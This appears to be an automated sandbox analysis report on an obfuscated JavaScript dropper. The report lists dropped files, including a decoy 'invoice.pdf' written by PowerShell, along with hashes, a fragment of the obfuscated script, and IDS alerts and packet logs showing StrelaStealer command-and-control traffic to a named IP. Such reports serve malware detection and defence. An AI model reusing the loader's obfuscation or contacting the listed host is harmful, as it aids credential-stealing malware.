Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\7b1ed037-4026-4259-aba8-0753e43ba1ee.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e529c48f-fb05-40ba-9bbe-f619413a675d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xTwYIGNPzWL07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JTwZG5WLxYGZn3mlind9i4ufFXpAXkru
MD5:	DEE0FE98070EB4399C6C08DEE92C8A7C
SHA1:	D08807DA97D939DA79375C93501EECC21D1FE6CF
SHA-256:	814464759EB985546897367FB0C95C0DF21167DA76399EAE08A87CE664B76575
SHA-512:	8D8B910C0C21E2F495EE16ABECC81B968791665EF30A46C6ABA1E0BB40F419D9A25FD75F80D0C0418F4E8D880E0A63BA9529113C6618C90B0CAB55D945D4DDFA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18768), with CRLF line terminators
Entropy (8bit):	4.904631768210374
TrID:
File name:	7222172992877722612.js
File size:	22'356 bytes
MD5:	89cf683bafe5f6dc4cabdcfa21461d24
SHA1:	903e3756983693e652ea800d550d772579777438
SHA256:	f7f8b9a12b2dd6cc09cdc0af1916d6b66bb6a3b882b24298ca1ed29db77119f8
SHA512:	eb981e25a431667c6eddda3e2f535a4b5676e7e2a4249fcc5f1ea6cea1cc284f92f494b44dd099ee7e0cd4e1c4d85a871fe4e02cdeae0cb6a9c28db66c653a1f
SSDEEP:	384:0Lj6Gmn6UBra0S0U9Zsx4rX/cAvHSCcCgeO+ILPtIjxsFIYxMNsPL1VNxNvqYns1:pSD9ZXrX/cU8UjTdDrRxtj
TLSH:	37A2058ADF1BEB888DE880F0157E08DA739C42CF9D18019E1ACA64C974D2B75EDE15F5
File Content Preview:	function vgqvracak(){dwywkat=[1031,3079,5127,4103,2055,3072];var vtbuxr=this[jndajsni+aktysc+lvmdegu+rwund+xdergevg+yjpli+bmyknmwd+lgllugm](this[vitzcff+tkgsc+zjsotwjo+lvmdegu+qbjjjinl+jndajsni+lgllugm][phikpr+lvmdegu+xdergevg+aktysc+lgllugm+xdergevg+hqps

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T03:03:36.053622+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-11T03:03:36.053622+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-11T03:03:38.673598+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49711	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:03:35.260927916 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:35.265798092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:35.265928984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:35.268826962 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:35.273638964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.053491116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.053509951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.053519011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.053608894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.053622007 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.053657055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.053668976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.053690910 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.053706884 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.053822041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.053833008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.053841114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.053850889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.053863049 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.053925037 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.058571100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.058594942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.058687925 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.096426964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.096456051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.096566916 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.174231052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.174247980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.174258947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.174304962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.174352884 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.174374104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.174376011 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.174386024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.174433947 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.174498081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.174510956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.174549103 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.175054073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.175113916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.175124884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.175170898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.175539970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.175595045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.175607920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.175642967 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.175642967 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.175715923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.175793886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.175844908 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.176470995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.176485062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.176496029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.176556110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.176561117 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.176568985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.176613092 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.177268028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.177329063 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.230555058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.230590105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.230602980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.230741024 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.264779091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.264796019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.265295029 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.294625044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.294656038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.294668913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.294753075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.294799089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.294859886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.294861078 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.294867992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.295094967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.295142889 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.295156956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.295167923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.295238972 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.295339108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.295351028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.295523882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.295548916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.295558929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.295582056 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.295582056 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.295644045 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.295697927 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.295708895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.296080112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.296138048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.296139002 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.296148062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.296184063 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.296284914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.296295881 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.296364069 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.296400070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.296433926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.296443939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.296498060 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.296498060 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.297070026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.297117949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.297128916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.297291040 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.297336102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.297346115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.297363043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.297373056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.297422886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.297422886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.297502041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.297564983 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.298125982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.298136950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.298146963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.298258066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.298269987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.298280001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.298304081 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.298304081 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.298526049 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.306521893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.306554079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.306565046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.306910038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.321209908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.321238041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.321249008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.321522951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.321547031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.321593046 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.321593046 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.355504990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.355520964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.355564117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.355577946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.355590105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.355613947 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.355613947 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.385262012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.385291100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.385349989 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.415241957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.415285110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.415297985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.415338993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.415339947 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.415370941 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.415385962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.415494919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.415530920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.415544033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.415544033 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.415566921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.415610075 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.415610075 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.415638924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.415709972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.415759087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.415832996 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.415836096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.415889025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.415893078 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.416101933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.416115046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.416126013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.416156054 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.416224957 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.416270971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.416282892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.416302919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.416313887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.416323900 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.416326046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.416373968 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.416538000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.416551113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.416562080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.416574001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.416588068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.416598082 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.416629076 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.416629076 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.416893005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.416970015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.416982889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.417016029 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.417201996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.417215109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.417226076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.417237997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.417272091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.417272091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.417350054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.417361975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.417392969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.417398930 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.417403936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.417416096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.417457104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.417457104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.417859077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.417918921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.417931080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.417973995 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.418051958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.418064117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.418194056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.418205976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.418226004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.418234110 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.418234110 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.418237925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.418250084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.418292046 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.418292046 CET	49710	80	192.168.2.6	193.143.1.205
